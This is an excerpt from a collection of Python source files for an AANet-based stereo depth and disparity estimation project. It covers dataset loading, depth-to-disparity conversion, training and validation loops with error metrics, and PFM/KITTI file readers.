'\n\n\n gt = '/cephfs/edward/'+x +'/depthR_down.png '# will need to convert into disparity\n meta = 'training/' + x +'/meta.pkl '\n\n label = 'training/' + x +'/irL_label_image.png \\n'\n\n val_f.write(left)\n val_f.write(right)\n val_f.write(gt)\n val_f.write(meta)\n val_f.write(label)\n\nif __name__ == '__main__':\n gen_own_data_obj()\n", "id": "271286", "language": "Python", "matching_score": 2.4795114994049072, "max_stars_count": 0, "path": "filenames/generate_filenames.py" }, { "content": "from PIL import Image\nimport numpy as np\nimport pickle\nfrom numpy import inf\n\n# in mm\n# intrinisc is matrix\n# baseline is value\ndef convert_file(original, intrinsic, baseline, save):\n # load the image\n image = Image.open(original)\n\n # convert image to numpy array\n data = np.asarray(image)\n\n new_image = np.copy(data)\n new_image = (baseline*1000*intrinsic[0][0]/2)/new_image\n new_image[new_image== inf] = 0\n\n # save as 16 bit black and white image\n new_image = Image.fromarray(new_image.astype(np.uint16))\n new_image.save(save)\n\n\n# intrinsic = np.array([[1387.095, 0.0, 960.0], [0.0, 1387.095, 540.0], [0.0, 0.0, 1.0]])\n# convert('depthL_fromR.png',intrinsic,0.055,'disp.png')\n\n# with open('meta.pkl', 'rb') as f:\n# data = pickle.load(f)\n# print(data['intrinsic'])\n# print(data)\n # print(data['extrinsic_l'])\n # print(data['extrinsic_r'])\n", "id": "7959141", "language": "Python", "matching_score": 1.0093404054641724, "max_stars_count": 0, "path": "filenames/depth2disp.py" }, { "content": "import torch\nimport time\nfrom torch.utils.tensorboard import SummaryWriter\nimport torch.nn.functional as F\nimport os\n\nfrom utils import utils\nfrom utils.visualization import disp_error_img, save_images, depth_error_img\nfrom metric import d1_metric, thres_metric, bad, mm_error\nfrom math import inf\nfrom warp_ops import apply_disparity_cu\n\nimport imageio\nimport pickle\nimport numpy as np\n\nonlyObj = False\nperObject = False\nperObjectDepth = dict()\nperObjectDisp = dict()\nobjectCount = dict()\nfor i in range(18):\n perObjectDepth[i] = 0\n perObjectDisp[i] = 0\n objectCount[i] = 0\n\nclass Model(object):\n def __init__(self, args, logger, optimizer, aanet, device, start_iter=0, start_epoch=0,\n best_epe=None, best_epoch=None):\n self.args = args\n self.logger = logger\n self.optimizer = optimizer\n self.aanet = aanet\n self.device = device\n self.num_iter = start_iter\n self.epoch = start_epoch\n\n self.best_epe = 999. if best_epe is None else best_epe\n self.best_epoch = -1 if best_epoch is None else best_epoch\n\n\n self.train_writer = SummaryWriter(self.args.checkpoint_dir)\n\n def train(self, train_loader):\n args = self.args\n logger = self.logger\n\n steps_per_epoch = len(train_loader)\n device = self.device\n\n self.aanet.train()\n\n if args.freeze_bn:\n def set_bn_eval(m):\n classname = m.__class__.__name__\n if classname.find('BatchNorm') != -1:\n m.eval()\n\n self.aanet.apply(set_bn_eval)\n\n # Learning rate summary\n base_lr = self.optimizer.param_groups[0]['lr']\n offset_lr = self.optimizer.param_groups[1]['lr']\n self.train_writer.add_scalar('base_lr', base_lr, self.epoch + 1)\n self.train_writer.add_scalar('offset_lr', offset_lr, self.epoch + 1)\n\n last_print_time = time.time()\n baseline = 0.055\n intrinsic =[[1387.095, 0.0, 960.0], [0.0, 1387.095, 540.0], [0.0, 0.0, 1.0]]\n\n\n for i, sample in enumerate(train_loader):\n left = sample['left'].to(device) # [B, 3, H, W]\n right = sample['right'].to(device)\n gt_disp = sample['disp'].to(device) # [B, H, W]\n gt_depth = []\n\n if args.dataset_name=='custom_dataset': # going to be depthL_fromR_down if from custom_dataset\n gt_disp_1 = (baseline*1000*intrinsic[0][0]/2)/(gt_disp*256.)\n gt_disp_1[gt_disp_1==inf]=0\n gt_depth = gt_disp*256.\n gt_disp = gt_disp_1\n\n if(args.dataset_name == 'custom_dataset_full' or\n args.dataset_name == 'custom_dataset_obj'):\n\n # convert to disparity then apply warp ops\n temp = gt_disp*256.\n for x in range(left.shape[0]):\n baseline = sample['baseline'][x].to(self.device)\n intrinsic = sample['intrinsic'][x].to(self.device)\n temp[x] = (baseline*1000*intrinsic[0][0]/2)/(temp[x])\n temp[x][temp[x]==inf] = 0\n\n # gt_disp = temp\n gt_disp = apply_disparity_cu(temp.unsqueeze(1),temp.type(torch.int))\n gt_disp = torch.squeeze(gt_disp)\n\n # gt_depth = temp\n # for x in range(left.shape[0]):\n # baseline = sample['baseline'][x].to(self.device)\n # intrinsic = sample['intrinsic'][x].to(self.device)\n # gt_depth[x] = (baseline*1000*intrinsic[0][0]/2)/(gt_disp[x])\n # gt_depth[x][gt_depth[x]==inf] = 0\n # gt_depth = gt_depth.to(self.device)\n\n mask = (gt_disp > 0.) & (gt_disp < args.max_disp)\n if(onlyObj):\n gt_disp[sample['label']>=17] = 0\n mask = (gt_disp > 0.) & (gt_disp < args.max_disp)\n\n if args.load_pseudo_gt:\n pseudo_gt_disp = sample['pseudo_disp'].to(device)\n pseudo_mask = (pseudo_gt_disp > 0.) & (pseudo_gt_disp < args.max_disp) & (~mask) # inverse mask\n\n if not mask.any():\n continue\n\n pred_disp_pyramid = self.aanet(left, right) # list of H/12, H/6, H/3, H/2, H\n\n if args.highest_loss_only:\n pred_disp_pyramid = [pred_disp_pyramid[-1]] # only the last highest resolution output\n\n disp_loss = 0\n pseudo_disp_loss = 0\n pyramid_loss = []\n pseudo_pyramid_loss = []\n\n # Loss weights\n if len(pred_disp_pyramid) == 5:\n pyramid_weight = [1 / 3, 2 / 3, 1.0, 1.0, 1.0] # AANet and AANet+\n elif len(pred_disp_pyramid) == 4:\n pyramid_weight = [1 / 3, 2 / 3, 1.0, 1.0]\n elif len(pred_disp_pyramid) == 3:\n pyramid_weight = [1.0, 1.0, 1.0] # 1 scale only\n elif len(pred_disp_pyramid) == 1:\n pyramid_weight = [1.0] # highest loss only\n else:\n raise NotImplementedError\n\n assert len(pyramid_weight) == len(pred_disp_pyramid)\n for k in range(len(pred_disp_pyramid)):\n pred_disp = pred_disp_pyramid[k]\n weight = pyramid_weight[k]\n\n if pred_disp.size(-1) != gt_disp.size(-1):\n pred_disp = pred_disp.unsqueeze(1) # [B, 1, H, W]\n pred_disp = F.interpolate(pred_disp, size=(gt_disp.size(-2), gt_disp.size(-1)),\n mode='bilinear', align_corners=False) * (gt_disp.size(-1) / pred_disp.size(-1))\n pred_disp = pred_disp.squeeze(1) # [B, H, W]\n\n curr_loss = F.smooth_l1_loss(pred_disp[mask], gt_disp[mask],\n reduction='mean')\n disp_loss += weight * curr_loss\n pyramid_loss.append(curr_loss)\n\n # Pseudo gt loss\n if args.load_pseudo_gt:\n pseudo_curr_loss = F.smooth_l1_loss(pred_disp[pseudo_mask], pseudo_gt_disp[pseudo_mask],\n reduction='mean')\n pseudo_disp_loss += weight * pseudo_curr_loss\n\n pseudo_pyramid_loss.append(pseudo_curr_loss)\n\n total_loss = disp_loss + pseudo_disp_loss\n\n self.optimizer.zero_grad()\n total_loss.backward()\n self.optimizer.step()\n\n self.num_iter += 1\n\n if self.num_iter % args.print_freq == 0:\n this_cycle = time.time() - last_print_time\n last_print_time += this_cycle\n\n logger.info('Epoch: [%3d/%3d] [%5d/%5d] time: %4.2fs disp_loss: %.3f' %\n (self.epoch + 1, args.max_epoch, i + 1, steps_per_epoch, this_cycle,\n disp_loss.item()))\n\n if self.num_iter % args.summary_freq == 0:\n img_summary = {}\n img_summary['left'] = left\n img_summary['right'] = right\n img_summary['gt_disp'] = gt_disp\n\n if args.load_pseudo_gt:\n img_summary['pseudo_gt_disp'] = pseudo_gt_disp\n\n # Save pyramid disparity prediction\n for s in range(len(pred_disp_pyramid)):\n # Scale from low to high, reverse\n save_name = 'pred_disp' + str(len(pred_disp_pyramid) - s - 1)\n save_value = pred_disp_pyramid[s]\n img_summary[save_name] = save_value\n\n pred_disp = pred_disp_pyramid[-1]\n\n if pred_disp.size(-1) != gt_disp.size(-1):\n pred_disp = pred_disp.unsqueeze(1) # [B, 1, H, W]\n pred_disp = F.interpolate(pred_disp, size=(gt_disp.size(-2), gt_disp.size(-1)),\n mode='bilinear', align_corners=False) * (gt_disp.size(-1) / pred_disp.size(-1))\n pred_disp = pred_disp.squeeze(1) # [B, H, W]\n img_summary['disp_error'] = disp_error_img(pred_disp, gt_disp)\n\n save_images(self.train_writer, 'train', img_summary, self.num_iter)\n\n epe = F.l1_loss(gt_disp[mask], pred_disp[mask], reduction='mean')\n\n self.train_writer.add_scalar('train/epe', epe.item(), self.num_iter)\n self.train_writer.add_scalar('train/disp_loss', disp_loss.item(), self.num_iter)\n self.train_writer.add_scalar('train/total_loss', total_loss.item(), self.num_iter)\n\n # Save loss of different scale\n for s in range(len(pyramid_loss)):\n save_name = 'train/loss' + str(len(pyramid_loss) - s - 1)\n save_value = pyramid_loss[s]\n self.train_writer.add_scalar(save_name, save_value, self.num_iter)\n\n d1 = d1_metric(pred_disp, gt_disp, mask)\n self.train_writer.add_scalar('train/d1', d1.item(), self.num_iter)\n thres1 = thres_metric(pred_disp, gt_disp, mask, 1.0)\n thres2 = thres_metric(pred_disp, gt_disp, mask, 2.0)\n thres3 = thres_metric(pred_disp, gt_disp, mask, 3.0)\n self.train_writer.add_scalar('train/thres1', thres1.item(), self.num_iter)\n self.train_writer.add_scalar('train/thres2', thres2.item(), self.num_iter)\n self.train_writer.add_scalar('train/thres3', thres3.item(), self.num_iter)\n\n self.epoch += 1\n\n # Always save the latest model for resuming training\n if args.no_validate:\n utils.save_checkpoint(args.checkpoint_dir, self.optimizer, self.aanet,\n epoch=self.epoch, num_iter=self.num_iter,\n epe=-1, best_epe=self.best_epe,\n best_epoch=self.best_epoch,\n filename='aanet_latest.pth')\n\n # Save checkpoint of specific epoch\n if self.epoch % args.save_ckpt_freq == 0:\n model_dir = os.path.join(args.checkpoint_dir, 'models')\n utils.check_path(model_dir)\n utils.save_checkpoint(model_dir, self.optimizer, self.aanet,\n epoch=self.epoch, num_iter=self.num_iter,\n epe=-1, best_epe=self.best_epe,\n best_epoch=self.best_epoch,\n save_optimizer=False)\n\n def validate(self, val_loader):\n args = self.args\n logger = self.logger\n logger.info('=> Start validation...')\n\n if args.evaluate_only is True:\n if args.pretrained_aanet is not None:\n pretrained_aanet = args.pretrained_aanet\n else:\n model_name = 'aanet_best.pth'\n pretrained_aanet = os.path.join(args.checkpoint_dir, model_name)\n if not os.path.exists(pretrained_aanet): # KITTI without validation\n pretrained_aanet = pretrained_aanet.replace(model_name, 'aanet_latest.pth')\n\n logger.info('=> loading pretrained aanet: %s' % pretrained_aanet)\n utils.load_pretrained_net(self.aanet, pretrained_aanet, no_strict=True)\n\n self.aanet.train()\n\n num_samples = len(val_loader)\n logger.info('=> %d samples found in the validation set' % num_samples)\n\n val_epe = 0\n val_d1 = 0\n # val_thres1 = 0\n # val_thres2 = 0\n # val_thres3 = 0\n val_bad1 = 0\n val_bad2 = 0\n val_abs = 0\n val_mm2 = 0\n val_mm4 = 0\n val_mm8 = 0\n\n val_count = 0\n\n val_file = os.path.join(args.checkpoint_dir, 'val_results.txt')\n\n num_imgs = 0\n valid_samples = 0\n\n baseline = 0.055\n intrinsic =[[1387.095, 0.0, 960.0], [0.0, 1387.095, 540.0], [0.0, 0.0, 1.0]]\n\n for i, sample in enumerate(val_loader):\n if i % 100 == 0:\n logger.info('=> Validating %d/%d' % (i, num_samples))\n\n left = sample['left'].to(self.device) # [B, 3, H, W]\n right = sample['right'].to(self.device)\n gt_disp = sample['disp'].to(self.device) # [B, H, W]\n gt_depth = []\n pred_disp = []\n\n if args.dataset_name=='custom_dataset': # going to be depthL_fromR_down if from custom_dataset\n gt_disp_1 = (baseline*1000*intrinsic[0][0]/2)/(gt_disp*256.)\n gt_disp_1[gt_disp_1==inf]=0\n gt_depth = gt_disp*256.\n gt_disp = gt_disp_1\n\n if(args.dataset_name == 'custom_dataset_full' or\n args.dataset_name == 'custom_dataset_obj'):\n\n # convert to disparity then apply warp ops\n temp = gt_disp*256.\n for x in range(left.shape[0]):\n baseline = sample['baseline'][x].to(self.device)\n intrinsic = sample['intrinsic'][x].to(self.device)\n temp[x] = (baseline*1000*intrinsic[0][0]/2)/(temp[x])\n temp[x][temp[x]==inf] = 0\n\n # gt_disp = torch.clone(temp)\n gt_disp = apply_disparity_cu(temp.unsqueeze(1),temp.type(torch.int))\n gt_disp = torch.squeeze(gt_disp)\n\n gt_depth = temp\n # convert to gt_depth\n for x in range(left.shape[0]):\n baseline = sample['baseline'][x].to(self.device)\n intrinsic = sample['intrinsic'][x].to(self.device)\n gt_depth[x] = (baseline*1000*intrinsic[0][0]/2)/(gt_disp[x])\n gt_depth[x][gt_depth[x]==inf] = 0\n gt_depth = gt_depth.to(self.device)\n\n if(args.dataset_name == 'custom_dataset_sim' or\n args.dataset_name == 'custom_dataset_real'):\n temp = gt_disp*256.\n for x in range(left.shape[0]):\n baseline = sample['baseline'][x].to(self.device)\n intrinsic = sample['intrinsic'][x].to(self.device)\n temp[x] = (baseline*1000*intrinsic[0][0]/2)/(temp[x])\n temp[x][temp[x]==inf] = 0\n\n # gt_disp = torch.clone(temp)\n gt_disp = apply_disparity_cu(temp.unsqueeze(1),temp.type(torch.int))\n gt_disp = torch.squeeze(gt_disp)\n\n gt_disp = torch.unsqueeze(gt_disp,0)\n\n gt_depth = temp\n # convert to gt_depth\n for x in range(left.shape[0]):\n baseline = sample['baseline'][x].to(self.device)\n intrinsic = sample['intrinsic'][x].to(self.device)\n gt_depth[x] = (baseline*1000*intrinsic[0][0]/2)/(gt_disp[x])\n gt_depth[x][gt_depth[x]==inf] = 0\n gt_depth = gt_depth.to(self.device)\n\n mask_disp = (gt_disp > 0.) & (gt_disp < args.max_disp)\n\n if not mask_disp.any():\n continue\n\n valid_samples += 1\n\n num_imgs += gt_disp.size(0)\n\n with torch.no_grad():\n pred_disp = self.aanet(left, right)[-1] # [B, H, W]\n\n if pred_disp.size(-1) < gt_disp.size(-1):\n pred_disp = pred_disp.unsqueeze(1) # [B, 1, H, W]\n pred_disp = F.interpolate(pred_disp, (gt_disp.size(-2), gt_disp.size(-1)),\n mode='bilinear', align_corners=False) * (gt_disp.size(-1) / pred_disp.size(-1))\n pred_disp = pred_disp.squeeze(1) # [B, H, W]\n\n if(onlyObj):\n gt_disp[sample['label']>=17] = 0\n mask_disp = (gt_disp > 0.) & (gt_disp < args.max_disp)\n\n epe = F.l1_loss(gt_disp[mask_disp], pred_disp[mask_disp], reduction='mean')\n d1 = d1_metric(pred_disp, gt_disp, mask_disp)\n\n bad1 = bad(pred_disp, gt_disp, mask_disp)\n bad2 = bad(pred_disp, gt_disp, mask_disp, threshold=2)\n\n pred_depth = []\n if(args.dataset_name == 'custom_dataset_full' or\n args.dataset_name == 'custom_dataset_sim' or\n args.dataset_name == 'custom_dataset_real' or\n args.dataset_name == 'custom_dataset_obj'):\n temp = torch.zeros((pred_disp.shape)).to(self.device)\n for x in range(left.shape[0]):\n baseline = sample['baseline'][x].to(self.device)\n intrinsic = sample['intrinsic'][x].to(self.device)\n temp[x] = (baseline*1000*intrinsic[0][0]/2)/(pred_disp[x])\n temp[x][temp[x]==inf] = 0\n pred_depth = temp\n else:\n pred_depth = (baseline*1000*intrinsic[0][0]/2)/(pred_disp)\n pred_depth[pred_depth==inf]=0\n\n mask_depth = (gt_depth > 0.) & (gt_depth < 2000)\n\n if(onlyObj):\n gt_depth[sample['label']>=17] = 0\n mask_depth = (gt_depth > 0.) & (gt_disp < args.max_disp)\n\n abs = F.l1_loss(gt_depth[mask_depth], pred_depth[mask_depth], reduction='mean')\n\n mm2 = mm_error(pred_depth, gt_depth,mask_depth)\n mm4 = mm_error(pred_depth, gt_depth,mask_depth, threshold=4)\n mm8 = mm_error(pred_depth, gt_depth,mask_depth, threshold=8)\n\n pred_depth[pred_depth>2000]=0\n\n if(perObject):\n for x in range(left.shape[0]):\n labels = sample['label'][x].detach().numpy().astype(np.uint8)\n for obj in np.unique(labels):\n gtObjectDepth = gt_depth[x].detach().clone()\n gtObjectDepth[labels!=obj] = 0\n predObjectDepth = pred_depth[x].detach().clone()\n predObjectDepth[labels!=obj] = 0\n\n gtObjectDisp = gt_disp[x].detach().clone()\n gtObjectDisp[labels!=obj] = 0\n predObjectDisp = pred_disp[x].detach().clone()\n predObjectDisp[labels!=obj] = 0\n\n mask_depth = (gtObjectDepth > 0.)\n mask_disp = (gtObjectDisp > 0.)\n\n objectCount[obj]+=1\n\n perObjectDisp[obj] += F.l1_loss(gtObjectDisp[mask_disp], predObjectDisp[mask_disp], reduction='mean')\n perObjectDepth[obj] += F.l1_loss(gtObjectDepth[mask_depth], predObjectDepth[mask_depth], reduction='mean')\n\n # thres1 = thres_metric(pred_disp, gt_disp, mask, 1.0)\n # thres2 = thres_metric(pred_disp, gt_disp, mask, 2.0)\n # thres3 = thres_metric(pred_disp, gt_disp, mask, 3.0)\n\n val_epe += epe.item()\n val_d1 += d1.item()\n val_bad1 += bad1.item()\n val_bad2 += bad2.item()\n val_abs += abs.item()\n val_mm2 += mm2.item()\n val_mm4 += mm4.item()\n val_mm8 += mm8.item()\n # val_thres1 += thres1.item()\n # val_thres2 += thres2.item()\n # val_thres3 += thres3.item()\n\n # Save 3 images for visualization\n\n if i in [num_samples // 4, num_samples // 2, num_samples // 4 * 3]:\n if args.evaluate_only:\n\n im = (pred_depth[0]).detach().cpu().numpy().astype(np.uint16)\n if not os.path.isdir('/cephfs/edward/depths'):\n os.mkdir('/cephfs/edward/depths')\n imageio.imwrite('/cephfs/edward/depths/'+str(i)+\".png\",im)\n\n im = (gt_depth[0]).detach().cpu().numpy().astype(np.uint16)\n imageio.imwrite('/cephfs/edward/depths/'+str(i)+\"gt.png\",im)\n\n imageio.imwrite('/cephfs/edward/depths/' + str(i) + \"label.png\", sample['label'][x].detach().numpy().astype(np.uint8))\n\n info = {'baseline': sample['baseline'][x],'intrinsic' :sample['intrinsic'][x],\n 'object_ids': sample['object_ids'][x], 'extrinsic': sample['extrinsic'][x]}\n filename = '/cephfs/edward/depths/meta' + str(i) + '.pkl'\n with open(filename, 'wb') as f:\n pickle.dump(info, f)\n\n img_summary = {}\n img_summary['left'] = left\n img_summary['right'] = right\n img_summary['gt_depth'] = gt_depth\n img_summary['gt_disp'] = gt_disp\n\n if(onlyObj):\n pred_disp[sample['label']>=17] = 0\n pred_depth[sample['label']>=17] = 0\n\n img_summary['disp_error'] = disp_error_img(pred_disp, gt_disp)\n img_summary['depth_error'] = depth_error_img(pred_depth, gt_depth)\n img_summary['pred_disp'] = pred_disp\n img_summary['pred_depth'] = pred_depth\n\n save_images(self.train_writer, 'val' + str(val_count), img_summary, self.epoch)\n val_count += 1\n\n logger.info('=> Validation done!')\n if(perObject):\n for key, value in objectCount.items():\n\n perObjectDisp[key] = float(perObjectDisp[key])/value\n perObjectDepth[key] = float(perObjectDepth[key])/value\n print(perObjectDisp, perObjectDepth, objectCount)\n\n mean_epe = val_epe / valid_samples\n mean_d1 = val_d1 / valid_samples\n mean_bad1 = val_bad1/valid_samples\n mean_bad2 = val_bad2/valid_samples\n mean_abs = val_abs/valid_samples\n mean_mm2 = val_mm2/valid_samples\n mean_mm4 = val_mm4/valid_samples\n mean_mm8 = val_mm8/valid_samples\n # mean_thres1 = val_thres1 / valid_samples\n # mean_thres2 = val_thres2 / valid_samples\n # mean_thres3 = val_thres3 / valid_samples\n\n # Save validation results\n with open(val_file, 'a') as f:\n f.write('epoch: %03d\\t' % self.epoch)\n f.write('epe: %.4f\\t' % mean_epe)\n f.write('d1: %.4f\\t' % mean_d1)\n f.write('bad1: %.4f\\t' % mean_bad1)\n f.write('bad2: %.4f\\t' % mean_bad2)\n f.write('abs: %.4f\\t' % mean_abs)\n f.write('mm2: %.4f\\t' % mean_mm2)\n f.write('mm4: %.4f\\t' % mean_mm4)\n f.write('mm8: %.4f\\t' % mean_mm8)\n # f.write('thres1: %.4f\\t' % mean_thres1)\n # f.write('thres2: %.4f\\t' % mean_thres2)\n # f.write('thres3: %.4f\\n' % mean_thres3)\n\n logger.info('=> Mean validation epe of epoch %d: %.3f' % (self.epoch, mean_epe))\n\n self.train_writer.add_scalar('val/epe', mean_epe, self.epoch)\n self.train_writer.add_scalar('val/d1', mean_d1, self.epoch)\n self.train_writer.add_scalar('val/bad1', mean_bad1, self.epoch)\n self.train_writer.add_scalar('val/bad2', mean_bad2, self.epoch)\n self.train_writer.add_scalar('val/abs', mean_abs, self.epoch)\n self.train_writer.add_scalar('val/mm2', mean_mm2, self.epoch)\n self.train_writer.add_scalar('val/mm4', mean_mm4, self.epoch)\n self.train_writer.add_scalar('val/mm8', mean_mm8, self.epoch)\n # self.train_writer.add_scalar('val/thres1', mean_thres1, self.epoch)\n # self.train_writer.add_scalar('val/thres2', mean_thres2, self.epoch)\n # self.train_writer.add_scalar('val/thres3', mean_thres3, self.epoch)\n\n if not args.evaluate_only:\n if args.val_metric == 'd1':\n if mean_d1 < self.best_epe:\n # Actually best_epe here is d1\n self.best_epe = mean_d1\n self.best_epoch = self.epoch\n\n utils.save_checkpoint(args.checkpoint_dir, self.optimizer, self.aanet,\n epoch=self.epoch, num_iter=self.num_iter,\n epe=mean_d1, best_epe=self.best_epe,\n best_epoch=self.best_epoch,\n filename='aanet_best.pth')\n elif args.val_metric == 'epe':\n if mean_epe < self.best_epe:\n self.best_epe = mean_epe\n self.best_epoch = self.epoch\n\n utils.save_checkpoint(args.checkpoint_dir, self.optimizer, self.aanet,\n epoch=self.epoch, num_iter=self.num_iter,\n epe=mean_epe, best_epe=self.best_epe,\n best_epoch=self.best_epoch,\n filename='aanet_best.pth')\n else:\n raise NotImplementedError\n\n if self.epoch == args.max_epoch:\n # Save best validation results\n with open(val_file, 'a') as f:\n f.write('\\nbest epoch: %03d \\t best %s: %.3f\\n\\n' % (self.best_epoch,\n args.val_metric,\n self.best_epe))\n\n logger.info('=> best epoch: %03d \\t best %s: %.3f\\n' % (self.best_epoch,\n args.val_metric,\n self.best_epe))\n\n # Always save the latest model for resuming training\n if not args.evaluate_only:\n utils.save_checkpoint(args.checkpoint_dir, self.optimizer, self.aanet,\n epoch=self.epoch, num_iter=self.num_iter,\n epe=mean_epe, best_epe=self.best_epe,\n best_epoch=self.best_epoch,\n filename='aanet_latest.pth')\n\n # Save checkpoint of specific epochs\n if self.epoch % args.save_ckpt_freq == 0:\n model_dir = os.path.join(args.checkpoint_dir, 'models')\n utils.check_path(model_dir)\n utils.save_checkpoint(model_dir, self.optimizer, self.aanet,\n epoch=self.epoch, num_iter=self.num_iter,\n epe=mean_epe, best_epe=self.best_epe,\n best_epoch=self.best_epoch,\n save_optimizer=False)\n", "id": "11161110", "language": "Python", "matching_score": 3.455962896347046, "max_stars_count": 0, "path": "model.py" }, { "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom torch.utils.data import Dataset\nimport os\nimport pandas as pd\n\nfrom utils import utils\nfrom utils.file_io import read_img, read_disp\nfrom PIL import Image\nimport numpy as np\n\nclass CustomFullDataset(Dataset):\n def __init__(self, data_dir, dataset_name='custom_dataset_full', transform=None, save_filename=False, mode='train'):\n super(CustomFullDataset, self).__init__()\n\n self.data_dir = data_dir\n self.mode = mode\n self.dataset_name = dataset_name\n self.save_filename = save_filename\n self.transform = transform\n\n custom = {\n 'train': 'filenames/custom_train.txt',\n 'val': 'filenames/custom_val.txt'\n }\n\n custom_full = {\n 'train': 'filenames/custom_train_full.txt',\n 'val': 'filenames/custom_val_full.txt'\n }\n\n test_sim = {\n 'train': 'filenames/custom_test_sim.txt',\n 'test': 'filenames/custom_test_sim.txt',\n }\n\n test_real = {\n 'train': 'filenames/custom_test_real.txt',\n 'test': 'filenames/custom_test_real.txt',\n }\n\n dataset_name_dict = {\n 'custom_dataset' : custom,\n 'custom_dataset_full': custom_full,\n 'custom_dataset_sim': test_sim,\n 'custom_dataset_real': test_real,\n }\n\n assert dataset_name in dataset_name_dict.keys()\n self.dataset_name = dataset_name\n\n self.samples = []\n\n data_filenames = dataset_name_dict[dataset_name][mode]\n\n lines = utils.read_text_lines(data_filenames)\n\n for line in lines:\n splits = line.split()\n\n left_img, right_img = splits[:2]\n gt_disp = None if len(splits) == 2 else splits[2]\n\n\n sample = dict()\n\n if self.save_filename:\n sample['left_name'] = left_img.split('/', 1)[1]\n\n sample['left'] = os.path.join(data_dir, left_img)\n sample['right'] = os.path.join(data_dir, right_img)\n sample['disp'] = os.path.join(data_dir, gt_disp) if gt_disp is not None else None\n\n if(self.dataset_name == 'custom_dataset_full' or\n self.dataset_name == 'custom_dataset_sim' or\n self.dataset_name == 'custom_dataset_real'):\n meta = None if len(splits)<3 else splits[3]\n sample['meta'] = os.path.join(data_dir, meta) # new\n\n if (self.dataset_name == 'custom_dataset_sim' or\n self.dataset_name == 'custom_dataset_real'):\n sample['label'] = os.path.join(data_dir, splits[4]) # label image\n\n self.samples.append(sample)\n\n # transformations TODO\n # self._augmentation()\n\n def _augmentation(self):\n if self.split == 'train':\n self.transformation = Compose([\n RGBShiftStereo(always_apply=True, p_asym=0.5),\n RandomBrightnessContrastStereo(always_apply=True, p_asym=0.5)\n ])\n elif self.split == 'validation' or self.split == 'test' or self.split == 'validation_all':\n self.transformation = None\n else:\n raise Exception(\"Split not recognized\")\n\n def __len__(self):\n return len(self.samples)\n\n def __getitem__(self, index):\n sample = {}\n sample_path = self.samples[index]\n\n if self.save_filename:\n sample['left_name'] = sample_path['left_name']\n\n sample['left'] = read_img(sample_path['left']) # [H, W, 3]\n sample['right'] = read_img(sample_path['right'])\n\n # GT disparity of subset if negative, finalpass and cleanpass is positive\n subset = True if 'subset' in self.dataset_name else False\n if sample_path['disp'] is not None:\n sample['disp'] = read_disp(sample_path['disp'], subset=subset) # [H, W]\n sample['occ_mask'] = np.zeros_like(sample['disp']).astype(np.bool)\n sample['occ_mask_right']= np.zeros_like(sample['disp']).astype(np.bool)\n\n if self.transform is not None:\n sample = self.transform(sample)\n\n if(self.dataset_name == 'custom_dataset_full' or\n self.dataset_name == 'custom_dataset_sim' or\n self.dataset_name == 'custom_dataset_real'):\n temp = pd.read_pickle(sample_path['meta'])\n sample['intrinsic'] = temp['intrinsic']\n sample['baseline'] = abs((temp['extrinsic_l']-temp['extrinsic_r'])[0][3])\n\n if (self.dataset_name == 'custom_dataset_sim' or\n self.dataset_name == 'custom_dataset_real'):\n sample['label'] = np.array(Image.open(sample_path['label']))\n sample['object_ids']=temp['object_ids']\n sample['extrinsic'] = temp['extrinsic']\n\n\n return sample\n", "id": "9453797", "language": "Python", "matching_score": 2.686427354812622, "max_stars_count": 0, "path": "dataset/customfull.py" }, { "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom torchvision import transforms\nimport numpy as np\nimport re\nfrom PIL import Image\nimport sys\nimport cv2\n\ndef read_img(filename):\n # Convert to RGB for scene flow finalpass data\n # rand = np.random.uniform()\n # img = np.array(transforms.functional.adjust_gamma(Image.open(filename).convert('RGB'),gamma=rand)).astype(np.float32)\n img = np.array(Image.open(filename).convert('RGB')).astype(np.float32)\n if np.random.random() < 0.5:\n kernel = np.random.choice([3,5,7,9])\n img = cv2.GaussianBlur(img,(kernel, kernel),0)\n return img\n\n\ndef read_disp(filename, subset=False):\n # Scene Flow dataset\n if filename.endswith('pfm'):\n # For finalpass and cleanpass, gt disparity is positive, subset is negative\n disp = np.ascontiguousarray(_read_pfm(filename)[0])\n if subset:\n disp = -disp\n # KITTI\n elif filename.endswith('png'):\n disp = _read_kitti_disp(filename)\n elif filename.endswith('npy'):\n disp = np.load(filename)\n else:\n raise Exception('Invalid disparity file format!')\n return disp # [H, W]\n\n\ndef _read_pfm(file):\n file = open(file, 'rb')\n\n color = None\n width = None\n height = None\n scale = None\n endian = None\n\n header = file.readline().rstrip()\n if header.decode(\"ascii\") == 'PF':\n color = True\n elif header.decode(\"ascii\") == 'Pf':\n color = False\n else:\n raise Exception('Not a PFM file.')\n\n dim_match = re.match(r'^(\\d+)\\s(\\d+)\\s$', file.readline().decode(\"ascii\"))\n if dim_match:\n width, height = list(map(int, dim_match.groups()))\n else:\n raise Exception('Malformed PFM header.')\n\n scale = float(file.readline().decode(\"ascii\").rstrip())\n if scale < 0: # little-endian\n endian = '<'\n scale = -scale\n else:\n endian = '>' # big-endian\n\n data = np.fromfile(file, endian + 'f')\n shape = (height, width, 3) if color else (height, width)\n\n data = np.reshape(data, shape)\n data = np.flipud(data)\n return data, scale\n\n\ndef write_pfm(file, image, scale=1):\n file = open(file, 'wb')\n\n color = None\n\n if image.dtype.name != 'float32':\n raise Exception('Image dtype must be float32.')\n\n image = np.flipud(image)\n\n if len(image.shape) == 3 and image.shape[2] == 3: # color image\n color = True\n elif len(image.shape) == 2 or len(\n image.shape) == 3 and image.shape[2] == 1: # greyscale\n color = False\n else:\n raise Exception(\n 'Image must have H x W x 3, H x W x 1 or H x W dimensions.')\n\n file.write(b'PF\\n' if color else b'Pf\\n')\n file.write(b'%d %d\\n' % (image.shape[1], image.shape[0]))\n\n endian = image.dtype.byteorder\n\n if endian == '<' or endian == '=' and sys.byteorder == 'little':\n scale = -scale\n\n file.write(b'%f\\n' % scale)\n\n image.tofile(file)\n\n\ndef _read_kitti_disp(filename):\n depth = np.array(Image.open(filename))\n depth = depth.astype(np.float32) / 256.\n return depth\n", "id": "2059748", "language": "Python", "matching_score": 0.6874313354492188, "max_stars_count": 0, "path": "utils/file_io.py" }, { "content": "import numpy as np\nfrom PIL import Image\n\ndef build_matrix_of_indices(height, width):\n \"\"\" Builds a [height, width, 2] numpy array containing coordinates.\n\n @return: 3d array B s.t. B[..., 0] contains y-coordinates, B[..., 1] contains x-coordinates\n \"\"\"\n return np.indices((height, width), dtype=np.float32).transpose(1,2,0)\n\n\n\n### These two functions were adatped from the DAVIS 